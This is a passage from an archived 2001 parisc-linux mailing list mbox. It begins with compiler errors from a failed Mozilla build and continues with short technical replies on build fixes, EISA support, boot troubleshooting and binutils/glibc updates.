/usr/local/src/mozilla/dist/include/nspr/prtime.h:200: warning: type =
defaults to `int' in declaration of `PRExplodedTime'=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:200: parse error =
before '*' token=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:215: parse error =
before '*' token=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:222: warning: type =
defaults to `int' in declaration of `PRExplodedTime'=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:222: parse error =
before '*' token=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:222: =
`PR_LocalTimeParameters' declared as function returning a function=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:225: warning: type =
defaults to `int' in declaration of `PRExplodedTime'=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:225: parse error =
before '*' token=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:225: =
`PR_GMTParameters' declared as function returning a function=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:231: warning: type =
defaults to `int' in declaration of `PRExplodedTime'=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:231: parse error =
before '*' token=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:231: =
`PR_USPacificTimeParameters' declared as function returning a function=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:281: parse error =
before "PR_FormatTime"=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:282: warning: type =
defaults to `int' in declaration of `PRExplodedTime'=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:282: parse error =
before '*' token=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:282: warning: type =
defaults to `int' in declaration of `PR_FormatTime'=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:282: warning: data =
definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:288: parse error =
before "PR_FormatTimeUSEnglish"=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:288: parse error =
before "PRUint32"=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:289: warning: type =
defaults to `int' in declaration of `PR_FormatTimeUSEnglish'=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:289: warning: data =
definition has no type or storage class=0A=
In file included from /usr/local/src/mozilla/dist/include/nspr/nspr.h:49,=0A=
                 from ../../../pr/include/private/primpl.h:66,=0A=
                 from prfdcach.c:35:=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:83: field `identity' =
declared as a function=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:150: parse error before =
"PRUint8"=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:150: warning: no =
semicolon at end of struct or union=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:150: warning: no =
semicolon at end of struct or union=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:151: warning: type =
defaults to `int' in declaration of `_S6_u16'=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:151: warning: data =
definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:152: parse error before =
"_S6_u32"=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:152: warning: type =
defaults to `int' in declaration of `_S6_u32'=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:152: warning: data =
definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:154: parse error before =
'}' token=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:154: warning: type =
defaults to `int' in declaration of `_S6_un'=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:154: warning: data =
definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:155: parse error before =
'}' token=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:165: parse error before =
"PRUint16"=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:165: warning: no =
semicolon at end of struct or union=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:165: warning: no =
semicolon at end of struct or union=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:171: parse error before =
'}' token=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:171: warning: type =
defaults to `int' in declaration of `raw'=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:171: warning: data =
definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:173: parse error before =
"PRUint16"=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:173: warning: no =
semicolon at end of struct or union=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:174: warning: type =
defaults to `int' in declaration of `port'=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:174: warning: data =
definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:175: parse error before =
"ip"=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:175: warning: type =
defaults to `int' in declaration of `ip'=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:175: warning: data =
definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:181: parse error before =
'}' token=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:181: warning: type =
defaults to `int' in declaration of `inet'=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:181: warning: data =
definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:183: parse error before =
"PRUint16"=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:183: warning: no =
semicolon at end of struct or union=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:184: warning: type =
defaults to `int' in declaration of `port'=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:184: warning: data =
definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:185: parse error before =
"flowinfo"=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:185: warning: type =
defaults to `int' in declaration of `flowinfo'=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:185: warning: data =
definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:186: conflicting types =
for `ip'=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:175: previous =
declaration of `ip'=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:187: parse error before =
"scope_id"=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:187: warning: type =
defaults to `int' in declaration of `scope_id'=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:187: warning: data =
definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:188: warning: type =
defaults to `int' in declaration of `ipv6'=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:188: warning: data =
definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:191: parse error before =
"PRUint16"=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:191: warning: no =
semicolon at end of struct or union=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:193: parse error before =
'}' token=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:193: warning: type =
defaults to `int' in declaration of `local'=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:193: warning: data =
definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:195: parse error before =
'}' token=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:231: field `polarity' =
declared as a function=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:232: parse error before =
"PRIntervalTime"=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:232: warning: no =
semicolon at end of struct or union=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:233: warning: type =
defaults to `int' in declaration of `PRLinger'=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:233: warning: data =
definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:236: field `mcaddr' has =
incomplete type=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:237: field `ifaddr' has =
incomplete type=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:238: confused by earlier =
errors, bailing out=0A=
{standard input}: Assembler messages:=0A=
{standard input}:593: Warning: end of file in string; inserted '"'=0A=
{standard input}:613: Warning: .stabs: missing comma=0A=
make[4]: *** [prfdcach.o] Error 1=0A=
make[4]: Leaving directory `/usr/local/src/mozilla/nsprpub/pr/src/io'=0A=
make[3]: *** [export] Error 2=0A=
make[3]: Leaving directory `/usr/local/src/mozilla/nsprpub/pr/src'=0A=
make[2]: *** [export] Error 2=0A=
make[2]: Leaving directory `/usr/local/src/mozilla/nsprpub/pr'=0A=
make[1]: *** [export] Error 2=0A=
make[1]: Leaving directory `/usr/local/src/mozilla/nsprpub'=0A=
make: *** [export] Error 2=0A=

------=_NextPart_000_0017_01C16569.61E3B910--



From - Thu Nov 08 21:20:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "kenneth westelinck" <kennywest1@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Compiling Mozilla on parisc-linux fails
Date: Sun, 4 Nov 2001 19:52:54 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <OE39WfdNVkntqQvoC1f000078e8@hotmail.com>
References: <OE761L3gJcYPqd2rg2Q00007507@hotmail.com> <20011102140941.B17393@dogbert.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620704 29146 80.91.229.3 (22 Nov 2014 01:45:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:04 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: "Albert Strasheim" <fullung@ilink.nis.za>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov  4 11:54:17 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hotmail.com (oe39.law4.hotmail.com [216.33.148.76])
	by dsl2.external.hp.com (Postfix) with ESMTP id 33E76482C
	for <parisc-linux@lists.parisc-linux.org>; Sun,  4 Nov 2001 11:54:17 -0700 (MST)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Sun, 4 Nov 2001 10:54:11 -0800
X-Originating-IP: [213.224.83.78]
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
X-OriginalArrivalTime: 04 Nov 2001 18:54:11.0860 (UTC) FILETIME=[1780C540:01C16562]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12891

Albert,


So what does this mean exactly? Do I simply install the sparc headers and
try to do a "./configure" with: "--build=sparc-linux --host=sparc-linux"?
Where can I get these headers anyway?
Maybe these are all stupid questions, but I am very new to parisc-linux and
its issues :-(
Many thanks in advance.

regards,

Kenneth



From - Thu Nov 08 21:20:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Daniel Engstrom <5116@telia.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Some Questions...
Date: Sun, 4 Nov 2001 22:28:24 +0100
Lines: 41
Approved: news@gmane.org
Message-ID: <20011104222824.O2303@zaphod.halden.lillfab.se>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620704 29151 80.91.229.3 (22 Nov 2014 01:45:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:04 +0000 (UTC)
Cc: 5116@telia.com
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov  4 14:28:29 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from maila.telia.com (maila.telia.com [194.22.194.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id 99E36482B
	for <parisc-linux@lists.parisc-linux.org>; Sun,  4 Nov 2001 14:28:28 -0700 (MST)
Original-Received: from zaphod.halden.lillfab.se (t2o70p38.telia.com [62.20.148.158])
	by maila.telia.com (8.11.6/8.11.6) with ESMTP id fA4LSPo08422;
	Sun, 4 Nov 2001 22:28:25 +0100 (CET)
Original-Received: (from danne@localhost)
	by zaphod.halden.lillfab.se (8.9.3/8.9.3) id WAA32545;
	Sun, 4 Nov 2001 22:28:25 +0100
X-Mailer: Balsa 1.1.4
Original-Lines: 39
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12892

Hello all, 

I have some qustions regarding the EISA support and other stuff.

1) Non sharable interrupts
ISA IRQ are edge triggered and inherently un-sharable. Should 
there be a flag-field attached to the irq region struct which
reports the sharability of an irq?

2) ISR Re-entrance
I think that an IRQ manager needs to mask the IRQ while serviceing it
to avoid reentring the ISR(s). Is this done for non-EISA irq manager on 
palinux?

3) String I/O implementation
The string I/O functions (insl/outsl and friends) are implemented in 
terms of inl/outl and so on. This means that the HPA switch code in 
arch/parisc/kernel/pci.c is executed once per word in the transfer.
If the pci_hba_data struct had entries for these the test would have 
been done outside of the loop.

4) EISA EEPROM format
I have not yet fully understood the fromat of the EISA configuration 
EEPROM located on the system board. 
Could anyone fill-in with how the EISA slot configuration space should be 
decoded. I have figured out the general header and the fixed part of the 
per-slot structure.

5) EISA Memory Mapping/DMA stuff
I'd like to make something here too, any pointer to how to proceed?
What I thnk I have figured out is the following:
It seems like that from the EISA side the window is 4MB starting at 
1MB. From the host side the window seem to start at 0xfc100000 and be 
1.75MB in size.
How is the window controlled?

/Daniel

-- 



From - Thu Nov 08 21:20:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Thanks and more questions
Date: Sun, 4 Nov 2001 21:42:26 +0000
Lines: 9
Approved: news@gmane.org
Message-ID: <20011104214226.A8938@linuxcare.com>
References: <3.0.5.32.20011103162420.007f1100@mail.magma.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620704 29154 80.91.229.3 (22 Nov 2014 01:45:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:04 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Herb Radford <herbr@magma.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov  4 14:41:11 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust100.bre.cable.ntl.com [213.107.176.100])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6C08B482B
	for <parisc-linux@lists.parisc-linux.org>; Sun,  4 Nov 2001 14:41:11 -0700 (MST)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 30C7BB00C; Sun,  4 Nov 2001 21:42:26 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <3.0.5.32.20011103162420.007f1100@mail.magma.ca>; from herbr@magma.ca on Sat, Nov 03, 2001 at 04:24:20PM -0500
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12893

On Sat, Nov 03, 2001 at 04:24:20PM -0500, Herb Radford wrote:
> I have a C110 and a C200 sitting here and upon boot attempts (from the
> 0.9.2 CD), I don't get too far. 

Have you tried with serial console?

Richard



From - Thu Nov 08 21:20:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: 'Richard Hirst' <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Irritating console message in 0.9.2 iso
Date: Sun, 4 Nov 2001 22:49:57 +0000
Lines: 10
Approved: news@gmane.org
Message-ID: <20011104224957.D8938@linuxcare.com>
References: <5360C45FAB301541AEB3C6A45A6B6A02706844@ocst09.ugd.att.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620705 29157 80.91.229.3 (22 Nov 2014 01:45:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:05 +0000 (UTC)
Cc: Herb Radford <herbr@magma.ca>,
	parisc-linux@lists.parisc-linux.org
To: "Griffin, Aubrey, BMCIO" <aubreygriffin@att.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov  4 15:48:41 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust100.bre.cable.ntl.com [213.107.176.100])
	by dsl2.external.hp.com (Postfix) with ESMTP id BB59B482B
	for <parisc-linux@lists.parisc-linux.org>; Sun,  4 Nov 2001 15:48:40 -0700 (MST)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id E8CCFB00C; Sun,  4 Nov 2001 22:49:57 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <5360C45FAB301541AEB3C6A45A6B6A02706844@ocst09.ugd.att.com>; from aubreygriffin@att.com on Fri, Nov 02, 2001 at 05:27:25PM -0500
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12894

On Fri, Nov 02, 2001 at 05:27:25PM -0500, Griffin, Aubrey, BMCIO wrote:
> I wiil add that this is a effective fix although quick and dirty. 

The dhcp-client .deb has been updated since the 0.9.2 ISO, so you
coul dinstall an updated package, which would have the same effect.

Richard




From - Thu Nov 08 21:20:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Christopher C. Chimelis" <chris@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: hppa binutils/glibc updates
Date: Sun, 4 Nov 2001 21:10:33 -0500 (EST)
Lines: 38
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0111042106311.25038-100000@spawn.hockeyfiend.com>
References: <20011103233352.F505@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620705 29160 80.91.229.3 (22 Nov 2014 01:45:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:05 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org, bcollins@debian.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov  4 19:10:41 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from spawn.hockeyfiend.com (dsl092-073-086.bos1.dsl.speakeasy.net [66.92.73.86])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7CE47482B
	for <parisc-linux@parisc-linux.org>; Sun,  4 Nov 2001 19:10:41 -0700 (MST)
Original-Received: from chris (helo=localhost)
	by spawn.hockeyfiend.com with local-esmtp (Exim 3.32 #1 (Debian))
	id 160ZDd-00071E-00; Sun, 04 Nov 2001 21:10:33 -0500
X-Sender: chris@spawn.hockeyfiend.com
In-Reply-To: <20011103233352.F505@tausq.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12895

On Sat, 3 Nov 2001, Randolph Chung wrote:

> In a chroot built with debootstrap plus build-essential:
> - Rebuild binutils from sourceware cvs
> - Using new binutils, rebuild glibc (2.2.4-5) with am's latest patch
> 
> With these bits installed, the following were tested:
> - build and install wget (just a simple sanity test)
> - install and run libgtk1.2 and gkrellm
> - recompile and run python1.5 and apache
> 
> all these seem to be ok now. Before recompiling, things like python will
> die with a SIGILL

That's good news :-)  FYI, I work at Agilent now (formerly HP-owned
company) and am surrounded by PA-RISC machines.  I'm trying to weasel an
extra machine out of them, but have only been there two weeks so it may
take some extra time :-P

> Chris/Ben: can you let us know when we can expect new binutils/glibc?
> I'll forward the glibc patch to Ben separately.

I'm hoping for a new one soon.  I may not package it, however, due to some
flux in other platforms.  If we can work together to isolate the patches
that are needed for hppa, I'd be happy to include those in my next upload,
though (I already am planning one).

> If you can think of anything else that we should try to make sure
> everything works, please let us know.

If I think of something, I'll write ya.  Also, if I manage to get a
machine, I'm sure you'll be hearing from me (probably will be an Apollo
series 735, fyi...slow, but effective).

C




From - Thu Nov 08 21:20:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Compiling Mozilla on parisc-linux fails
Date: Mon, 5 Nov 2001 03:24:26 +0100
Lines: 12
Approved: news@gmane.org
Message-ID: <20011105032426.A1671@solo.franken.de>
References: <OE761L3gJcYPqd2rg2Q00007507@hotmail.com> <003101c163a9$48570590$56dc10c3@amos> <OE13GhAj5p1Fjxe0ymQ00007efc@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620705 29163 80.91.229.3 (22 Nov 2014 01:45:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:05 +0000 (UTC)
Cc: Kaj-Michael Lang <milang@tal.org>, parisc-linux@parisc-linux.org
To: kenneth westelinck <kennywest1@hotmail.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov  4 19:27:50 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from solo.franken.de (pD951CDEA.dip.t-dialin.net [217.81.205.234])
	by dsl2.external.hp.com (Postfix) with ESMTP id D944A482B
	for <parisc-linux@parisc-linux.org>; Sun,  4 Nov 2001 19:27:48 -0700 (MST)
Original-Received: (from tsbogend@localhost)
	by solo.franken.de (8.11.6/8.11.6) id fA52OQA01893;
	Mon, 5 Nov 2001 03:24:26 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <OE13GhAj5p1Fjxe0ymQ00007efc@hotmail.com>; from kennywest1@hotmail.com on Sun, Nov 04, 2001 at 07:46:23PM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12896

On Sun, Nov 04, 2001 at 07:46:23PM +0100, kenneth westelinck wrote:
> Nope, same error (see the attached file). Any other ideas?

how about using dpkg-buildpackage or applying the patches by hand ?

Thomas.

-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessary a
good idea.                                 [ Alexander Viro on linux-kernel ]



From - Thu Nov 08 21:20:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: hppa binutils/glibc updates
Date: Mon, 5 Nov 2001 02:29:26 +0000
Lines: 12
Approved: news@gmane.org
Message-ID: <20011105022926.B4441@parcelfarce.linux.theplanet.co.uk>
References: <20011103233352.F505@tausq.org> <Pine.LNX.4.21.0111042106311.25038-100000@spawn.hockeyfiend.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620706 29168 80.91.229.3 (22 Nov 2014 01:45:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:06 +0000 (UTC)
Cc: Randolph Chung <randolph@tausq.org>,
	parisc-linux@parisc-linux.org, bcollins@debian.org
To: "Christopher C. Chimelis" <chris@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov  4 19:29:32 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id B4894482B
	for <parisc-linux@parisc-linux.org>; Sun,  4 Nov 2001 19:29:31 -0700 (MST)
